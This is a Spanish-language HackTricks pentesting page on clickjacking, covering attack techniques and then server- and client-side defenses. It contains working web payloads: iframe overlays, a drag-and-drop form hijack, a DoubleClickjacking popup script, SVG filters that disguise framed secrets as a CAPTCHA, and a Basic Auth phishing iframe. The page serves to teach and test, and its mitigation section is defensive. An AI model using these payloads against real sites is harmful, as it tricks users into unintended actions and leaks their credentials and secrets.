Clickjacking

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

¿Qué es Clickjacking

En un ataque de clickjacking, un usuario es engañado para hacer clic en un elemento de una página web que está invisible o disfrazado como otro elemento. Esta manipulación puede conllevar consecuencias no deseadas para el usuario, como la descarga de malware, la redirección a páginas web maliciosas, la entrega de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.

Truco de prellenado de formularios

A veces es posible llenar el valor de los campos de un formulario usando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar el payload de clickjacking para que el usuario pulse el botón Submit.

Rellenar formulario con Drag&Drop

Si necesitas que el usuario rellene un formulario pero no quieres pedirle directamente que escriba información específica (como el email y/o la contraseña específica que conoces), puedes simplemente pedirle que Drag&Drop algo que escribirá tus datos controlados, como en this example.

Payload básico

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload de múltiples pasos

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si has identificado un XSS que requiere que un usuario haga clic en algún elemento para activar el XSS y la página es vulnerable a clickjacking, podrías abusar de ello para engañar al usuario y que haga clic en el botón/enlace.
Example:
Encontraste un self XSS en algunos datos privados de la cuenta (datos que solo tú puedes establecer y leer). La página con el formulario para establecer estos datos es vulnerable a Clickjacking y puedes prepopulate el formulario con los parámetros GET.
Un atacante podría preparar un ataque de Clickjacking a esa página prepopulating el formulario con el XSS payload y engañando al usuario para que Submit el formulario. Así, cuando se envíe el formulario y los valores estén modificados, el usuario ejecutará el XSS.

DoubleClickjacking

Firstly explained in this post, esta técnica pediría a la víctima que haga doble clic en un botón de una página controlada colocada en una ubicación específica, y usaría las diferencias de timing entre los eventos mousedown y onclick para cargar la página víctima durante el doble clic de modo que la víctima realmente haga clic en un botón legítimo en la página víctima.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Esta técnica permite engañar al usuario para que haga clic en un único lugar de la página víctima evadiendo todas las protecciones contra clickjacking. Por tanto, el atacante necesita encontrar acciones sensibles que se puedan realizar con un solo clic, como aceptar permisos en prompts OAuth.

Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. La página atacante rastrea mousemove y usa un pequeño popup (window.open) que se mueve con moveTo() mientras es same-origin; una vez alineado, se redirige de vuelta al target origin para que el siguiente clic caiga en el botón real. Debido a que moveTo() cross‑origin está bloqueado, el popup es brevemente navegado a un origen atacante para reposicionamiento, luego location/history.back() retorna al target. Para exponer el target en el momento del clic, el atacante puede reabrir el popup con el mismo window name para traerlo al foreground sin cambiar la URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Las versiones modernas de Chromium/WebKit/Gecko permiten que la propiedad CSS filter:url(#id) se aplique a iframes de origen cruzado. Los píxeles rasterizados del iframe se exponen al grafo del filtro SVG como SourceGraphic, por lo que primitivas como feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. pueden deformar arbitrariamente la interfaz de la víctima antes de que el usuario la vea, aunque el atacante nunca toque el DOM. Un filtro sencillo de estilo Liquid-Glass se ve así:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitivas útiles: feImage carga bitmaps del atacante (p. ej., overlays, displacement maps); feFlood construye mates de color constante; feOffset/feGaussianBlur refinan los highlights; feDisplacementMap refracta/deforma texto; feComposite operator="arithmetic" implementa matemáticas arbitrarias por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), lo cual es suficiente para aumentar contraste, enmascaramiento y operaciones AND/OR; feTile recorta y replica pixel probes; feMorphology expande/contrae trazos; feColorMatrix mueve la luma al alpha para construir máscaras precisas.

Distorting secrets into CAPTCHA-style prompts

Si un framable endpoint renderiza secretos (tokens, reset codes, API keys), el atacante puede distorsionarlos para que se parezcan a un CAPTCHA y coaccionar la transcripción manual:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Los píxeles distorsionados engañan al usuario para que “resuelva” el captcha dentro del <input> controlado por el atacante cuyo pattern impone el verdadero secreto de la víctima.

Recontextualizando entradas de la víctima

Los filtros pueden eliminar quirúrgicamente el texto de placeholder/validación mientras mantienen las pulsaciones del usuario. Un flujo de trabajo:

  1. feComposite operator="arithmetic" k2≈4 amplifica el brillo de modo que el texto auxiliar gris se satura a blanco.
  2. feTile limita el área de trabajo al rectángulo del input.
  3. feMorphology operator="erode" engruesa los glifos oscuros tecleados por la víctima y los almacena mediante result="thick".
  4. feFlood crea una placa blanca, feBlend mode="difference" con thick, y un segundo feComposite k2≈100 lo convierte en una máscara luma de alto contraste.
  5. feColorMatrix mueve esa luma al alpha, y feComposite in="SourceGraphic" operator="in" mantiene solo los glifos introducidos por el usuario.
  6. Otro feBlend in2="white" más un recorte fino dan un cuadro de texto limpio, tras lo cual el atacante superpone sus propias etiquetas HTML (p. ej., “Introduce tu correo electrónico”) mientras el iframe oculto sigue aplicando la política de contraseñas del origen de la víctima.

Safari tiene problemas con feTile; el mismo efecto puede reproducirse con máscaras espaciales construidas a partir de feFlood + feColorMatrix + feComposite para WebKit-only payloads.

Sondeos de píxeles, lógica y máquinas de estado

Al recortar una región de 2–4 px con feTile y teselarla al 100% del viewport, el atacante transforma el color muestreado en una textura de cuadro completo que puede umbralizarse en una máscara booleana:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Para colores arbitrarios, una referencia feFlood (p. ej., #0B57D0) más feBlend mode="difference" y otro composite aritmético (k2≈100, k4 como tolerancia) produce blanco solo cuando el píxel muestreado coincide con la tonalidad objetivo. Alimentar estas máscaras en feComposite con k1..k4 ajustados genera puertas lógicas: AND vía k1=1, OR vía k2=k3=1, XOR vía feBlend mode="difference", NOT mediante mezclado contra blanco. Encadenar puertas construye un sumador completo dentro del grafo de filtros, demostrando que la tubería es funcionalmente completa.

Por tanto, los atacantes pueden leer el estado de la UI sin JavaScript. Ejemplos de booleanos en un flujo modal:

  • D (dialog visible): sondear una esquina oscurecida y comprobar contra blanco.
  • L (dialog loaded): sondear las coordenadas donde aparece el botón cuando está listo.
  • C (checkbox checked): comparar el píxel del checkbox contra el azul activo #0B57D0.
  • R (red success/failure banner): usar feMorphology y umbrales rojos dentro del rectángulo del banner.

Cada estado detectado controla un bitmap de superposición diferente incrustado vía feImage xlink:href="data:...". Enmascarar esos bitmaps con D, L, C, R mantiene las superposiciones sincronizadas con el diálogo real y guía a la víctima a través de flujos de trabajo multi-paso (password resets, approvals, destructive confirmations) sin exponer nunca el DOM.

Sandboxed iframe Basic Auth dialog (no allow-popups)

Un iframe sandboxeado sin allow-popups aún puede mostrar un HTTP Basic Authentication modal controlado por el navegador cuando una carga devuelve 401 con WWW-Authenticate. El diálogo es generado por la capa de red/autenticación del navegador (no por los alert/prompt/confirm de JS), así que las restricciones de popups en el sandbox no lo suprimen. Si puedes scriptar el iframe (p. ej., sandbox="allow-scripts") puedes navegarlo a cualquier endpoint que emita un desafío de Basic Auth:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Una vez que llega la respuesta, el navegador solicita credenciales aunque los popups estén deshabilitados. Enmarcar un origen de confianza con este truco permite UI redress/phishing: diálogos modales inesperados dentro de un widget “sandboxed” pueden confundir a los usuarios o activar gestores de contraseñas para ofrecer credenciales almacenadas.

Extensiones de navegador: DOM-based autofill clickjacking

Además de iframing páginas de la víctima, los atacantes pueden apuntar a elementos de la UI de las extensiones del navegador que se inyectan en la página. Los gestores de contraseñas renderizan desplegables de autofill cerca de los inputs enfocados; al enfocar un campo controlado por el atacante y ocultar/ocluir el desplegable de la extensión (trucos de opacity/overlay/top-layer), un clic coaccionado del usuario puede seleccionar un elemento almacenado y rellenar datos sensibles en inputs controlados por el atacante. Esta variante no requiere exposición via iframe y funciona completamente mediante manipulación del DOM/CSS.

Un caso real: Dashlane divulgó un issue de passkey dialog clickjacking (agosto de 2025) donde XSS on the relying-party domain permitió a un atacante superponer HTML sobre el diálogo de passkey de la extensión. Un clic en el elemento del atacante procedía con el login legítimo de passkey (la passkey en sí no se expone), convirtiendo efectivamente un UI-redress en acceso a la cuenta si el RP ya es vulnerable a script injection.

Strategies to Mitigate Clickjacking

Defensas del lado del cliente

Los scripts ejecutados del lado del cliente pueden realizar acciones para prevenir Clickjacking:

  • Ensuring the application window is the main or top window.
  • Making all frames visible.
  • Preventing clicks on invisible frames.
  • Detecting and alerting users to potential Clickjacking attempts.

Sin embargo, estos scripts para bustear frames pueden ser eludidos:

  • Configuraciones de seguridad del navegador: Algunos navegadores pueden bloquear estos scripts en función de sus configuraciones de seguridad o por falta de soporte de JavaScript.
  • HTML5 iframe sandbox Attribute: An attacker can neutralize frame buster scripts by setting the sandbox attribute with allow-forms or allow-scripts values without allow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Los valores allow-forms y allow-scripts permiten acciones dentro del iframe mientras deshabilitan la navegación a nivel superior. Para asegurar la funcionalidad prevista del sitio objetivo, pueden ser necesarios permisos adicionales como allow-same-origin y allow-modals, dependiendo del tipo de ataque. Los mensajes en la consola del navegador pueden indicar qué permisos permitir.

Defensas del lado del servidor

X-Frame-Options

El encabezado de respuesta HTTP X-Frame-Options informa a los navegadores sobre la legitimidad de renderizar una página en un <frame> o <iframe>, ayudando a prevenir Clickjacking:

  • X-Frame-Options: deny - Ningún dominio puede enmarcar el contenido.
  • X-Frame-Options: sameorigin - Solo el sitio actual puede enmarcar el contenido.
  • X-Frame-Options: allow-from https://trusted.com - Solo la ‘uri’ especificada puede enmarcar la página.
  • Tenga en cuenta las limitaciones: si el navegador no soporta esta directiva, podría no funcionar. Algunos navegadores prefieren la directiva frame-ancestors de CSP.

Content Security Policy (CSP) frame-ancestors directive

La directiva frame-ancestors en CSP es el método recomendado para la protección contra Clickjacking:

  • frame-ancestors 'none' - Similar a X-Frame-Options: deny.
  • frame-ancestors 'self' - Similar a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similar a X-Frame-Options: allow-from.

Por ejemplo, la siguiente CSP solo permite el framing desde el mismo dominio:

Content-Security-Policy: frame-ancestors 'self';

Más detalles y ejemplos complejos pueden encontrarse en la frame-ancestors CSP documentation y en la Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) con child-src y frame-src

Content Security Policy (CSP) es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador para cargar contenido.

Directiva frame-src

  • Define las fuentes válidas para frames.
  • Más específica que la directiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Esta política permite frames del mismo origen (self) y https://trusted-website.com.

child-src Directiva

  • Introducida en CSP nivel 2 para establecer fuentes válidas para web workers y frames.
  • Actúa como fallback para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Esta política permite frames y workers del mismo origen (self) y https://trusted-website.com.

Notas de uso:

  • Deprecación: child-src está siendo eliminado progresivamente en favor de frame-src y worker-src.
  • Comportamiento de fallback: Si frame-src está ausente, child-src se usa como fallback para frames. Si ambos están ausentes, se usa default-src.
  • Definición estricta de fuentes: Incluye solo fuentes de confianza en las directivas para prevenir la explotación.

JavaScript Frame-Breaking Scripts

Aunque no son completamente infalibles, los JavaScript-based frame-busting scripts pueden utilizarse para evitar que una página web sea enmarcada. Ejemplo:

if (top !== self) {
top.location = self.location
}

Uso de Anti-CSRF Tokens

  • Token Validation: Usar anti-CSRF tokens en aplicaciones web para asegurar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks